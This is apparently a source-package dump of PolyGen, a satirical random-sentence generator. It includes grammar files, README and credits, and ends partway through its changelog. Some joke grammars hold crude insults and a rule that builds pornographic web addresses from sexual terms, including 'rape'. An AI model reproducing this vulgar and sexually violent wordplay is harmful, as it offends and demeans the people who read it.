Internet [^"-"^(based | oriented | like | native | mobile)] [Genitive] | "on-demand" | (on | off)^"-line" | "on-the-fly" | "out-of-the-box" | software | hardware | firmware | shareware | freeware | public domain | net[^work] | multimedia | virtual | management | performant | embedded | "auto-starting" | "peer-to-peer" | visual | "fine-grained" | "loosely-coupled" | enterprise | "e-"^("Commerce" | "Business") | owner | integrated | interactive | globalized | computerized | informatized ; Internet ::= "Internet" | "Net" | "Web" | "Wap" | "MMS" | "SMS" | "WWW" | "GPRS" | "World Wide Web" | "B2B" | 3D | "B2C" | "ISDN" | "ADSL" | "Business" | "Consumer" | ["TCP/"^]"IP" | ("PGP" | "GPG") [^"-key"] ; Genitive ::= software | hardware | [Java] >(app | serv)^let (noun: ^s | adj: _) | "Information-retrieval" | data acquiring | ambient (noun: ^s | adj: _) | "Data-entr" ^ (adj: y | noun: ies) | "Database" (noun: ^s | adj: _) | (artificial intelligence | "AI") | [Java] application (noun: ^s | adj: _) | "Net-surfing" | ("JSP" | "HTML" | "ASP" | "PHP" | "CGI"^["-bin"] | "XML") (noun: pages | adj: _) ; Java ::= ["Enterprise"] "Java"[^"Bean"] | "J2EE" | "C++" | "C#" | ".Net" | "JMS" | "JNDI" | "EJB" | ["Shockwave" | "Macromedia"] "Flash" | "XML" ; Verb ::= >( [re^]implement | develop | outclass | install | test | deploy ) (ing: ^ing | inf: _) | >( [re^]integrat | manag | handl | maximiz | globaliz | defin | iterat | configur | releas | monitoriz ) (inf: ^e | ing: ^ing) | inf: >(interact with | map | debug) | ing: >(interacting with | mapping | debugging) ; polygen-1.0.6.ds2/grm/eng/bio.grm0000644000175000017500000003115610340417034016022 0ustar enricoenrico I ::= "title: Portrait of the author" as a (young |- ^n old | dead) "man\n" ^ "author: Manta\n" ^ "status: mature\n" ^ "language: english\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 30/08/2002" ; S ::= "Alvise Spano'" Birth Childhood ^"."\ Study1 [and Study2] ^"."\ Affection ^"."\ Change (^"," (but | [al^]though) Death | ^"," and Life) ^"." ; Birth ::= was born in Place on Date and | ^"," born in Place on Date^"," ; Place ::= Town (in [Card] State | "("^State^")") ; Card ::= northern | southern | eastern | western ; Childhood ::= spent [all] his (childhood | tender years) in Place until Year ; Study1 ::= after the Event ^"," he decided to Action.inf ^"," while studying Subject | he [first] studied Subject ^"," but after the Event ^"," decided to Action.inf ; Study2 ::= in Year ^"," Age ^"," got a diploma in Diploma [and attended the university of Place at the department of Faculty [^"," [eventually | at last] (graduating | receiving a master) in Faculty in Year]] ; Affection ::= ( definitely | particularly | rather | unbelievably | unexplicably ) [un^](successful | lucky) in (affection | love | sentimental) (affairs | bonds) ^"," (Age^"," | in Year) he met ( the (woman | girl) of his [whole] life | a [young [and beautiful]] [Num^"-years-old"] Nationality (woman | girl) [from Town] ) ^"," ( who ( ^m he would marry InMonth | taught him (the true love | what true love is) | (introduced him to | carried him into) Activity | ^m he abducted and deported Location ) | with who he (moved | went [and lived] | escaped | withdrew | retired | ran away) (to Place | Location) ) [and ( with who he [eventually] gave Child to light | who [eventually] gave him Child ) [InMonth | in Year] [^"," [then] followed by Child too [InMonth | in Year]]] | [having] discovered himself [to be] (homosexual | gay) Age [^"," in Year] ^"," [after a (painful | ^n anguishful | distressful) inner conflict] he (escaped | ran away) from (home | his [beloved] Town [^"," where he used to lived together with Relative^","]) and (withdrew | moved | retired) Location [along with a (man | boy) [he had met InMonth (during his journey to State | Where)]] ; Where ::= at >( the >( sea | cinema | disco | circus | station | university | mass | oratory ) | a [birthday] party | school ) | on >(the bus | the internet | [a chat] line) | in a bar ; Child ::= a son | a daughter | a baby | Num twins ; Change ::= his life [finally] changed as he (decided | began) to Action.inf [and to (fulfill his dream of | achieve) Action.ing] | his dream of Action.ing has been fulfilled [only] as he (decided | began) to Action.inf [and finally (was able | managed) to Action.inf] | not before Year [^"," Age^","] he [finally] (began | managed) to Action [and [eventually] (fulfill his dream of | achieve) Action.ing] ; Death ::= ^"," (carried off | beated | hit | stroken) by Illness ^"," he [tragically] (died | defuncted) on Date^"," Age [ ^"," and is [now[^adays] | still] buried at the Saint (cemetery | church yard) in Place | ^"," [alone and] late lamented by (everyone | nobody | few | many | his Relative [only]) ] | [no one heard from him since] ^"," [tragically | mysteriously | under unknown circumstanes] (missing since Month Year | (vanished | lost) InMonth) Location ^"," he has never ((come | got) back | returned) to his [home in] Town [ and his (body | corpse) has never been (found | recovered) | ^"," where Relative [and Relative] were waiting for him ] | InMonth his (corpse | body) has [tragically] been (recovered | discovered | found) (unarmed | immobile | lifeless | inanimate | mummified | [already] decomposing) Location [and (has [then] been buried | lies now) by the (cemetery | church yard) in his [beloved] Town] ; InMonth ::= in Month Year ; Location ::= in the ( sea | woods | forest | fields | hills | jungle | desert | ices | glaciers | snows | steppe | tajga | mount[^ain]^s | marshals | muds | savannah | prairies | waters ) (far off | of) [Card] State [nearby Town] ; Life ::= [now[^adays] | today] he [is still unable to rest and] ( has no residence yet [and ( splits between State [^"," State] and State | wanders [on his [trusted] Vehicle] | spends the rest of his life ) Location [together with Relative [and Relative]]] | [still] lives (in | by) Place [together with Relative [and Relative]] ) ; Relative ::= his >( [grand^] >(children | son[^s] | daughter[^s] | father | mother | parents) | ["ex-"]wife | uncle[^s] | aunt[^s] | cousin[^s] | sister | brother ) [^"-in-law"] | (some [trusted] friends | a [trusted] friend) [of his] | "Helder" ; Age ::= [just] at the age of Num | when [he was [just]] Num years old | as a Num^"-years-old" (young | old) (man | boy | child) ; Town ::= "Rome" | "Treviso" | "Venice" | "Tripoli" | "Mexico City" | "Santiago of Chile" | "Calcutta" | ["New"] "Delhi" | "Teheran" | "Timbuctu" | "Katmandu" | "Montevideo" | "Pozzuoli" | "Carbonera" | "Porcellengo" | "Oriago" | "Varsawia" | "Berlin" | "Reikjavik" | "Helsinki" | "Sparta" | "Rhode" | "Mileto" | "Santorini" | "Pantelleria" | "Roncade" | "Abbiategrasso" | "Frascati" | "Ostia" ["lido"] | "Vulci" | "Urbino" | "Melfi" | "San Gimignano" ; State ::= "Italy" | "Thailandia" | "Germany" | "Holland" | "Rwanda" | "Chile" | "Uganda" | "Ciad" | "Sudan" | "Mexico" | "Turkey" | "Turkmenistan" | "Azerbaijan" | "Burundi" | "Tibet" | "San Marino" | "Vatican" | "Lichtenstein" | "Luxemburg" | "Monaco Principality" | "Slovenia" | "Ecuador" | "Uruguay" | "Paraguay" | "Dalmatia" | "Moldavia" | "Macedonia" | "Kurdistan" | "Malta" | "Argentina" | "Etruria" | "Kamcatka" ; Date ::= Month the [(1 | 2)^] (1st | 2nd | 3rd | >(4 | 5 | 6 | 7 | 8 | 9)^th) Year ; Month ::= "January" | "February" | "March" | "April" | "May" | "June" | "July" | "August" | "September" | "October" | "November" | "December" ; Year ::= 19 ^ Digit ^ Digit ; Num ::= Digit.nz ^ Digit ; Digit ::= z: 0 | nz: >(1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ; Event ::= [sudden | unexpected | tragic] fall of the >( "Berlin" wall | >( ("Eastern" | "Western") "Roman" |"Ictysh" | "Macedonian" | "Mongolian" | "Chinese" | "Persian" ) empire | >( "Ming" | "Huan" | "Carolingian" | "Stuart" | "Tudor" | "Windsor" | "Borbon" ) dinasty | "Eiffel" tower | "Chinese Great Wall" | "Arc of Triumph" | "Pisa" tower | >(austrohungarian | borbon | castrist | norman | saracyn) regime ) | loss of >( his virginity | his hair | his [pet] Animal AnimalName | the Cup by the Team team | his beauty | his >(pubis | pectoral | armpit | dorsal | ingrown) (coat | fur) ) | breaking >( off with his ["ex-"^] (wife | girlfriend) | of his >( >(bath | living | bed)^room heating pipes | bike | car | chariot | wheelbarrow | motorcycle | moneybox | piggy bank ) ) ; Animal ::= cat | hamster | dog | canary | fish | chameleon | seagull | python | furret | otter | gnu | yacc | yeti ; AnimalName ::= ("F" | "B" | "D" | "J" | "K") ^ (i | o | e) ^ (d | b | d | f | p) ^ (ie | y) ; Cup ::= champions league | >(world | european | "Sans Souci") cup ; Team ::= "Milan" | "Juventus" | "Real Madrid" | "Arsenal" ; Subject ::= shorthand writing | typing | economics | marketing | web design | surgery | first aid ; Diploma ::= >(commercial | industrial | turistic) techniques | electronics | informatics | humanistics | literature | linguistics | "socio-psycho-pedagogy" | artistics ; Faculty ::= laws | >(ancient | modern | foreign) (languages | literature) | >( communication | educational | political | forestal | environmental | matter | civil | pollution | artistic | linguistic | computer | informatic | electronic | humanistic | turistic | commercial | industrial ) (science | engeneering) |+ Discipline ; Action ::= ( (dedicat ^ (inf:e | ing:ing) | devot ^ (inf:e | ing:ing)) (himself | his [whole] life) to [the art of] | (enter (ing:^ing | inf: _) | get (ing:^ting | inf: _)) into the world of | cultivat ^ (inf:e | ing:ing) his [strong] interest for [the art of] ) Activity ; Discipline ::= ( porno | idro | pyro | copro | logo | phylo | phago | geo | aero | astro | tele | homo | ethero | psycho | socio | pedo | omni | poly | agro | steno | holi | holo | phobo | hemo | gastro | morpho | radio | megalo | stereo | mono | photo | audio | video | theo ) ^ ( logy | gogy | piry | phily | mania | phagy | sophy | graphy | phoby | scopy | nomy | cracy ) ; Activity ::= Vegetable [intensive] (farming | cultivation) | (stamp | butterly | toy soldier | tin) collectionism | ( jazz | hardcore | classical | baroque | medieval | rinaissance | provence | [(prog | death | black | street | heavy | gothic) ^ "-" ^] (rap | rock | metal | pop) | [Nationality] (folk | popular) ) music | Fish (fishing | poaching) | Game (hunting | poaching) | tantra | gardening | ["hand-"^]sewning [and needleworking] | safari | alpinism | [hitch] hiking | Vehicle (piloting | driving) | the "Web" | occultism | (textile | metallurgic) industry | adventure | sex [magick] |++ Discipline ; Nationality ::= bulgarian | iranian | romena | chinese | paraguayan | uruguayan | swiss | nipponic | aboriginal | tibetan | turkish | polish | hugandian | pakistan | siberian | etrurian | russian | lappon | (nuit | eskimish) | costarican | portorican | peruvian | maltish | sardinian | lucan | calabrian | sicilian | chilian | micronesian ; Vehicle ::= [omni^] bus | camper | roulotte | car | tractor | (bi | motor | mono | tri)^cycle | yacht | [air^]plane | ship | panzer | lorry | van | [wind^]surf ; Fish ::= mackerel | prawn | scampi | shrimp | lobster | mussel | mollusc | protozoa | plankton | [pearl] oyster | clam ; Game ::= chick | hog | deer | fox | wolf | [brown | while] bear | cat | butterfly ; Vegetable ::= pulse | corn | hydrangea | bean | pea | pistachio | tuber | potato ; Illness ::= a [^n acute | fulminating] >( cold | chill | herpes | (apopleptic | sun | oar | heat) stroke | fit of coughing | abscess | (haematoma | bruise) [on the BodyPart] | gengivitis | conjunctivitis | polio [^myelitis] | micosis | indigestion | decay | (injury | wound) [on the BodyPart] ) | the >( measles | smallpox | tapeworm | chickenpox | leprosy | plague | diarrhoea | mumps ) | baldness | dandruff | dysentery | dental plaque | spasms on the BodyPart | haemorrhoids | piles | verrucas | warts | blisters [on the BodyPart] | stigmata [on the BodyPart] | anal polyps | pimples | spots | acne ; BodyPart ::= [right | left] >( buttock | shoulder | thigh | ankle | meminx | temple | arm | elbow| knee | foot | finger | toe | lobe ) | mandible | jaws | back | gum | dentures | pectorals ; Saint ::= "Saint" ("Mark" | "Anthony" | "Matthew" | "Joseph" | "Catherin" | "Mary") ;polygen-1.0.6.ds2/grm/eng/paper.grm0000644000175000017500000001535310340417034016361 0ustar enricoenricoI ::= "title: Papers and Publications in Computer Science\n" ^ "author: Manta\n" ^ "language: english\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: researchers\n" ^ "created: 07/02/2003" ; S ::= \ ( (Adj.art Algo.NOart | Algo.art) for Aim [Way] | (DataStruct.S Operation ("vs." | versus) DataStruct.S Operation).(noun|ing) | "How To" Operation.inf DataStruct.P [Way] ) ; Way ::= (by | with) [DataStruct.S] Operation.noun | (while | by | against) (Operation.ing DataStruct.P | DataStruct.S Operation.ing) | in [expected] \Time "Time" ; Adj ::= (art: an) \ >( [in^]efficient | un^ >(scalable | portable | stable) | elementary | [un^]orthodox | undecidible | ["N"^]"P-"^(hard | complete) | asymptotic | informal | optimal | indeterministic | infinite | algebraic ) | (art: a) \ >( quantum | scalable | stable | portable | fast | greedy | lazy | common | categorical | reticular | neural | mechanical | theoretical | standard | practical | pragmatic | heuristical | simple | complex | topological | decidible | ["non-"\]polinomial | structural | functional | imperative | mathematical | discrete | quick | geometrical | probabilistic | formal | trivial | static[^al] | dynamic | potential | general | generic | modular | deterministic | simmetric | parallel | logarithmic | [de^]finite | naive ) ; Algo ::= (art: an | NOart: _) \ >(approach | algorithm) | (art: a | NOart: _) \ >( system | method[^ology] | heuristic | [data\] structure | notation | function | theorem | proof | description | strategy | conjecture | fundation | definition | framework | calculus ) ; Aim ::= [\Qual [^"-"^Qual]] DataStruct.S Operation.noun | Operation.ing [Operation.noun (of | over | on | from)] [\Qual [^"-"^Qual]] DataStruct.P ; Qual ::= >> ( (large | wide | close) [^r | ^st] | (short | long | deep | high | low | small) [^er | ^est] | mid | huge | full | tiny | minimum | maximum | double | triple | quadruple | single | basic | direct | best | worst | average | better | worse | > [( bi | tri | quadri | poli | mono | ultra | hyper | (log | pluri | multi | single | iso | hypo | sigma | delta)^"-" )^] (linear | [poli^]nomial | partite | tonic | factorial) | continuous | discrete << ; Num ::= 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0 ; DataStruct ::= [S: _ | P: DataStruct.S.] \ ( >( array | vector | space | tree | graph | circuit | relation | set | "Data Structure" | path | flow | tuple | pair | element | heap | equation [\system] | DataStruct.S. "Forest" | node | key | list | degree | component | formula | variable | queue | stack | pointer | reference | object | chain | sequence | helder | polygon | table | constraint | number | string | integer | factor | automata | "lambda-abstraction" ) (S: _ | P: ^s) | >(hash | class) (S: _ | P: ^es) | S: >(matrix | vertex) | P: >(matrices | vertices) ) ; Mode ::= ["in-"^] (depth | breadth | place) ^"-first" | "in-"^ (depth | breadth | place) | ["anti-"^]clockwise | (pre | post) ^"-"^ | (first | last) ^"-in-"^ (first | last) ^"-out" | (lift | front | back | end) ^"-to-"^ (lift | front | back | end) ; Operation ::= \ [Mode \] >> ( search | match | access | order | count | bound | sort | query | jump ) (ing: ^ing | inf: _ | noun: _) | noun: ( unification | matching | exploration | calculation | representation | simplification | intersection | termination | analysis | solution | deletion | operation | decrease | increase | compression | deforestation | summation | formulation | substitution | iteration | recursion | distribution | maintainance | property | insertion | rotation | augmentation | triangulation | selection | schedule | growth | relaxation | multiplication | comparison | computation | verification | invertion | implementation | factorization | reducibility ) | ing: ( unifying | exploring | building | simplifying | intersecting | finding | analyzing | chaining | solving | deleting | removing | binding | bounding | decreasing | increasing | compressing | formulating | substituting | iterating | distributing | maintaining | inserting | augmenting | triangulating | selecting | scheduling | growing | relaxing | multiplying | comparing | breaking | verifying | inverting | implementing | factorizing | covering ) | inf: ( unify | explore | build | calculate | represent | simplify | intersect | terminate | find | analyze | solve | delete | operate | decrease | increase | compress | sum | formulate | substitute | iterate | recur | distribute | maintain | insert | rotate | augment | triangulate | select | schedule | make | multiply | compare | [re^]move | bind | break | verify | invert | implement | factorize ) << ; polygen-1.0.6.ds2/grm/eng/pythoniser.grm0000644000175000017500000000453510340417034017456 0ustar enricoenrico I ::= "title: Pythonizer\n" ^ "author: Pan <pansk@tiscalinet.it>\n" ^ "language: english\n" ^ "status: final\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 14/10/2002" ; S ::= \Action ^"." \You ^"." \Parental ^"." \Final ^"." ; Parental ::= (YourMother [^"," OtherParents] | YourFather [^"," OtherParents] | (YourMother "and" YourFather) | OtherParents) ; OtherParents ::= Son | ("your grandmother" | "your aunt" | "your sister" | "your brother") ParentalInsult ; Son ::= "son of" Insult1 ParentName ; Insult1 ::= ("a silly" | "a stupid" | "an idiot" | "a fat" | "an ugly" | "a bad smelling" | "an old" | "a rather useless") ; ParentName ::= ("person" | "police officer" | "dead parrot" | "three headed monkey" | "so-called" ("man" | "woman") ) ; Action ::= SelfAction | "I" MyAction ; SelfAction ::= (Action1 | Action2 | Action1 "and" Action2) ; MyAction ::= (Action3 | Action4 | Action3 "and" Action4) ; Action1 ::= ("piss on" | "shit on" | "lick") Target ; Target ::= "yourself" | "your bigaunt" | "your friends" | "your" Animal4 ; Action2 ::= "go" ["away"] | "boil your bottom" | "hit yourself" ["repeatedly"] "with a" ["large" | "big"] ("fish" | "eggplant") ; Action3 ::= ("piss on" Target2 | "shit on" Target2 | "spit on" Target2 | "fart in your" ["general"] "direction") ; Target2 ::= "you" | "your bigaunt" | "your friends" | "your" Animal4 ; Action4 ::= "boil your bottom" | "hit you" ["repeatedly"] "with a" ["large" | "big"] ("fish" | "eggplant") ; YourMother ::= "your mother" ParentalInsult ; Animal ::= Animal1 | Animal2 ; Animal1 ::= Insult1 Animal4 ; Animal2 ::= ("an hamster" | "a reindeer" | "a cow" | "an horse" | "a" [dead] "parrot" | "an asshole") ; Animal3 ::= ("other peoples" | ["dead"] Animals) ; Animals ::= ("hamsters" | "reindeers" | "cows" | "horses" | "parrots") ; Animal4 ::= ("hamster" | "reindeer" | "cow" | "horse" | "dead parrot"); YourFather ::= "your father" ParentalInsult ; Smelling ::= "elderberries" | "strawberries" | "eggplants" | "shit" | "banana" ; Final ::= Action ; You ::= "you're" Animal | "You" ("wiper" | "cleaner" | "eater") "of" [Animal3] ("bottoms" | "private parts" | "escrements") ; ParentalInsult ::= ("was" Animal | ("smelt" ("of" Smelling | "like" Animal))) ;polygen-1.0.6.ds2/grm/eng/chiname.grm0000644000175000017500000000132510340417034016650 0ustar enricoenricoI ::= "title: Chinese names\n" ^ "author: Manta, 2d <dekar2@libero.it>\n" ^ "language: english\n" ^ "topic: misc\n" ^ "status: refinable\n" ^ "audience: anybody\n" ^ "created: 16/09/2003" ; S ::= (X ::= \A; X X (+ X (- X | _) | _)) ; A ::= >> ch^(NG | ao) | w^(o | a | u | e)^ng | t^(z | s)^(e | o | a[^o]) | sh^(NG | ao) | t[^h]^(NG.g | ai | ao) | (y |j)^NG | f[^h]^NG.g | k[^h]^(in | (o | u |- e)^ng) | ( te | l^(o | a[^i] | i) | (l | m | z |- s |- n)^ao | f^(e | u) ) (loop: ^"-"^ " X "") ; URL ::= "http://www." ^ ( It |+++ Org ) ; It ::= Verb ^ ".it"; Org ::= Verb ( ^ Adj |---- _ ) ^ ".org"; Verb ::= fuck[^ing] | lick[^ing] | cum[^ming] | rap^(e|ing) | penetrat^(e|ing) | masturbat^(e|ing) | fist[^ing]; Adj ::= Noun |+ Attribute ^ Noun |+ Noun ^ Attribute ; Noun ::= tit[^s] | puss^(y|ies) | tongue[^s] | dick[^s] | ass[^es] | cock[^s] | whore[^s] | celebrit^(y|ies) | animal[^s] | beauties | breast[^s] | boobs; Attribute ::= >> big | ( zoo | monster | lesbo | gay | interracial | homo | fetish) [^ sex] <<; polygen-1.0.6.ds2/grm/eng/metal.grm0000644000175000017500000000734710340417034016360 0ustar enricoenrico I ::= "title: Metal band names\n" ^ "author: Manta, Obeso <fabiobortolotti@fastwebnet.it>\n" ^ "language: english\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 11/01/2003" ; S ::= \Group "-" \Title ; Group ::= (--Prefix^ | _) >(Adj.(++NOa|a) \Noun | [Noun\ | Adj.NOa\] Adj.a) | (Noun.(pre|post).S \Verb.er [^s] | Verb.er [^s] of \Noun) | Noun of \Noun | Prefix ^ Noun | Noun.pre.S ^ Noun.(+post|pre).(S|P) ; Title ::= [[Adj.NOa] Noun in] Place | in Place | (Noun.P and Noun.P).(pre|post) | the Noun.P.(pre|post) of Noun | [Adj.NOa] Noun.P.(pre|post) (from | across | to) Where ; Prefix ::= + necro |+ anti |+ neo | phylo |- intra | mega | mano ; Adj ::= NOa: >( impaled | immortal | bastard | northern | grim | brutal | anal | sodomized | infernal | frostbitten | rotting | cannibal | lusty | dark | enchanted | dethroned | painful | inverted | [un^]holy | black | transylvanian | carpathian | damned | elven | insane ) | >( semitic | apocalyptic | antarctic | ar[^c]^tic | metallic | diabolic | nordic | maniac | necrotic | romantic | androgyn | virgin | (c | k)^eltic | phobic | mysantropic | satanic | erotic | gothic | [neo^]lithic | heretic | sybillic ) (a: ^a | NOa: [^al | ^ous]) | >( transylvan | carphath | amorph | androgyn | malevolent | perfyd | urban | christian | obscur | sybillin | ap^[h^]ost^[h^]ol | arcan | ultracorp | chron ) (a: ^(ia | a | ica) | NOa: ^([i^]ous | is | ic[^al])) ; Verb ::= >( slay | sodomiz | trash | tortur | grind | kill | reap | steal | butch | murder | burn | fight | destroy | masturbat | summon | push | worshipp ) (er: ^er) | >(tortur | sepultur | muratur | mutilator) (er: ^er | a: ^a) | inf: >(dig | rip | rule) | er: >(digger | ripper | ruler) ; Noun ::= post: >( lord | cathedral | darkness | mud | massacre | blood | frost | annihilation | suffocation | christ | devastation | men | legacy | dissection | fatality | summoning | defecation | mutilation | gore | victory | damnation | violence | sodomy | erection | faith | devotion | >( grave | whore | cradle | sword | cunt | craft | pentagram | guardian | gate | king | corpse | house | forest | wizard | warrior | carcass (S: _ | P: ^e) | crown | beast | land | funeral | triumph | god | throne | dawn | bell | cage | tale | chronicle ) (S: _ | P: ^s) ) | pre: >( steel | dark | power | death | cross | porn | shit | void | pain | rage | fire | doom | satan | hate | cynic | black | creation | silver | other | >( stone | dragon | guard | night | [twi^]light | shadow | rune | tomb | winter | autumn | war | battle | hell | soul | devil | d^[a^]emon ) (S: _ | P: ^s) ) ; Place ::= "Hell" | "Norway" | the sky | "Valhalla" | the >( + land | forest | valley | hills | wood | waste | desert | mountains | peak | shadow[^s] | island | isle[^s] | house ) of >( [im^]mortals | "Satan" | porn | lore | imagination | sodomy | violence | "Death" | perversion | massacre | the king[^s] | the "Beast" | [the] elves | "Hell" | "Chaos" | [the] "Helder" | doom ) ; Where ::= Place | (no | else)^where | (another |+++ the Noun.pre.S) (side | world | dimension) ;polygen-1.0.6.ds2/grm/eng/rappaz.grm0000644000175000017500000000367010340417034016546 0ustar enricoenrico I ::= "title: Rappa NameZ\n" ^ "author: Manta\n" ^ "language: english\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: courtesy of" ("EMI" | "Virgin" | "Sony" | "Philips" | "Columbia") (["Music" | "Home"] "Entertainment" | "Records") ^ "\n" ^ "created: 23/01/2003" ; S ::= (+ Pre | _) Init.dot [Roman] | [Pre] Init.NOdot ^ "-" ^ Name |+ [Pre] Name (Name |+ _) [Init.dot | Roman] ; Roman ::= "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" ; Num ::= + 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Init ::= Letter [^ (Letter |- Num) (^ (Letter |-- Num) |++ _)] ; Pre ::= ("Dr." | "Doc.") | "Mr." | ("Big" |- "Little") ["Bro"] | "Dj"[^"."] | "Boss" | "Papa" | "Dad"[^dy] | "Ice" ; Letter ::= [\] ( a | b |+ c | d | e | f | h | i |++ j |++ k | l | m | n | o | p |+ q | r | s | t | u | v |+ w |++ x |+ y |+ z ) (dot: ^"." | NOdot: _) ; Name ::= \ ( [(j | k | q | x | b)^] (a | e | o) ^ ([\]x[^[\]x] | [\]z[^[\]z] | [\]d[^[\]d] |--- Letter.NOdot ) [^ (e |- i | o)] | (p | d | f | b | z | x | w | j | g | n | t | r) ^ (a |- e | Y | O) ^ [\] (pp | dd | ff | bb | zz | xx | gg | nn | tt | rr) ^ (y | ie[^Z] | io[^o] | iu^Z) | ( C^ornel | a^T^roc | [s^]per^F^Y^d | C^(O | ew)^l | a^(df | ff | F)^l^Y^C^t | add^Y^C^t | [a^]e^T^ern | narc^Y^Z | con^F^l^Y^C^t | no^T^or | n^Y^C^ot^Y^n | ne^(C | T)^tun | ne^C^ro^F^Y^l | zer | le^O^p^O^ld | an^T^ra^(C | x) | n^O^Z | ma^Z | C^a[^l] | l^(Y | O)^l | C^Y^m | sk^Y | l^(O | u)^d^O^vic | n^Y^n^F^o^[ma^]n | hel[^l]d^(er |- a) ) ^ (ie | io[^o] |+ iu^Z | ity) ) ; C ::= c[^h] | k |- q ; F ::= f | ph ; T ::= t[^h] ; Y ::= i | y ; Z ::= s |- [\]z[[\]^z] ; O ::= o | [\]o^[\]o ; polygen-1.0.6.ds2/grm/fra/0000755000175000017500000000000010340430663014536 5ustar enricoenricopolygen-1.0.6.ds2/grm/fra/grandeur.grm0000644000175000017500000000262210340417034017053 0ustar enricoenrico I ::= "title: La Grandeur Francaise\n" ^ "author: Manta\n" ^ "language: french\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: non-french people\n" ^ "created: 02/12/2003" ; S ::= \ A.1.i ^"," \ A.(-1|+2).i ^"," \ A.(--1|2|++3).f ^"!" ; A ::= 1: ( egalite' | fraternite' | [il^]legalite' | liberte' | [im^]moralite' | maternite' | humilte' | [im^]mortalite' ) | 2: ( (f: la | i: _) surete' | decollete' | enchante' | deshabille' | [f: le "Cardinal" | i: _] "Richelieu" | "Chardonnaix" | desole' | (f: le | i: _) >(sommelier | gourmet) | bouquet | excusez | bidet | cassoulet | (tran | omo | bi)^sexualite' | [f: les freres | i: _] "Montgolfier" | "pret-a-porter" | trezeguet | atelier | specialites ) | 3: ( marrons glaces | (allez | >P) allez | le jeux sont fait | Cibo (flambe' | laquais | aromatise') | a' la sante' | >(a' la | je suis) francais | "avez-vous" pete' | "voulez-vous" >(dancer | coucher | poulet) | "Gerard Depardieu" | "qu'est-ce que c'est" | "Grand Marnier" | les "Champs Elysees" | mon "Dieu" | "Caprice des Dieux" | petit pate' | s'il vous plait | fait chier | parbleu | sans papiers ) ; Cibo ::= canard | poulet | champagne | potage | jambon ; P ::= garcon | monsieur | madame ; polygen-1.0.6.ds2/README.win320000644000175000017500000000137410340417034015024 0ustar enricoenrico PolyGen: README file for MS Windows users ----------------------------------------- The Windows version of PolyGen is nearly completely equivalent to the Linux one. The program is compiled under Cygwin (the Unix-like environment for Windows) and needs at least its basic dll (if not a full installation), which can be download from http://polygen.org/web/Download.394.0.html. Just unzip it and put to either the same folder where Polygen executable lays or to C:\Windows/System32. Consider that possible divergencies in the behaviour of the program are most probably dued to OCaml (that is the programming language which PolyGen has been written in) compiler or library lacks in portability, since the whole code is supposed to be platform independent. polygen-1.0.6.ds2/README0000644000175000017500000000574710340417034014073 0ustar enricoenrico PolyGen - a first effort towards satyre in computer science ----------------------------------------------------------- Index ----- 1.0 Prelude 1.1 Package 1.1.1 Requirements 1.1.2 Supported platforms 1.1.3 Installation 1.2 Usage 1.2.1 Defining grammars 1.2.2 Suggestions 1.0 Prelude ----------- PolyGen is a program for generating random sentences according to a grammar definition, that is following custom syntactical and lexical rules. It takes a text file as source program defining a grammar by means of BNF-like rules and executes it, eventually showing the result. Here a source program is a grammar definition, the execution consists in the exploration of such grammar by selecting a random path and the result is the sentence built on the way. 1.1 Package ----------- 1.1.1 Requirements ------------------ PolyGen is fairly slim and does not need that powerful computer in order to work. From a theoretical point of view, there could be unlucky cases making the program loop for a sensible amount of time over a certain recursive production; in the real world, though, it will never happen. Everything you need is a shell or commandline interpreter (such as Bash or Csh under UNIX/Linux or the DOS Command Prompt under Windows) and, only in case you wish to write/view a grammar source file, a plain text editor/viewer. 1.1.2 Supported platforms ------------------------- PolyGen packages come in a variety of flavours, some providing different executable files in a platform-dependent way. Be sure the one you downloaded suits your machine and operating system. A package containing the full source code exists as well and is intended for either people who just wish to know how PolyGen works or users whose platform is not directly supported by a package containing an executable file for their machine. The latters will be able to compile the program by themselves following the instructions in the README file located in the source directory. 1.1.3 Installation ------------------ PolyGen needs no installation: it just consists of an executable file and a bunch of grammar sources. Leave it as is in an own directory and 'cd' there when you want to use it. Refer to platform-dependant README file for additional hints. 1.2 Usage --------- The executable file must be launched from a shell or commandline interpreter, as stated in section 1.1.2. It takes a set of arguments and prints to standard output, which is the shell terminal itself by default. For the formal synopsis run the executable with no arguments. 1.2.1 Defining grammars ----------------------- Refer to the tutorial hypertext file for a detailed guide to the grammar definition language interpreted by PolyGen. 1.2.2 Suggestions ----------------- - Remember to provide an "I" non-terminal symbol in your own grammar files for the "-info" option. - Try to avoid as many warnings as possible when developing your own grammar sources: your definitions will be more robust and won't lead to unexpected outputs. polygen-1.0.6.ds2/Credits0000644000175000017500000000057610340417034014526 0ustar enricoenrico PolyGen: Credits ---------------- PolyGen is a Spinning Kids production released in 2002-03 under the GNU General Public License (GPL). See License file for details. concept and programming Manta polygen.org development Zeff polygen.org design Vision-X.it documentation Manta debian packaging Filippo Giunchedi polygen-1.0.6.ds2/Changes0000644000175000017500000002721110340417034014474 0ustar enricoenricoPolyGen - What's new? --------------------- * 28/6/2004 - official release 1.0.6 (formers were 1.0 pre-releases) - just few bugfixes * 17/9/2003 - bufix update v1.0pre r5 - some checkings (i.e. cyclic unfoldings detection) didn't work anymore in conjuction with the new label checker; new second phase checker written * 9/9/2003 - bugfix update v1.0pre r4 - lock/unlock block didn't work; atomic rename of temporary file used instead * 8/9/2003 - first official pre-release v1.0 r3 (formers are internal only) - new language feature: keyword ":=" introduces strong bindings that generates only once the binding itself is performed - new language feature: subproductions (of any form) introduces now local nestable scopes; any series of weak as well as strong mutual recursive bindings may appear prior to subproduction body; scoping rules are static lexical - new language feature: EBNF-like iteration is supported suffixing a "+" to a subproduction (standard form only) - new language feature: keyword "," acts as infix delimeter for positional atoms within production; generation occurs selecting all i-th elements - lexical rules changed: ',' character is no more a terminal simbol; use quotings instead - the new grammar checker is now able to infer label groups for each production, follow selections and report top-level environment-free label groups - grammar checker improved: all destructive selections are now detected and exhaustively reported, leading label usage towards higher robustness - grammar checker changed: termination is checkable from start symbol only - grammar checker 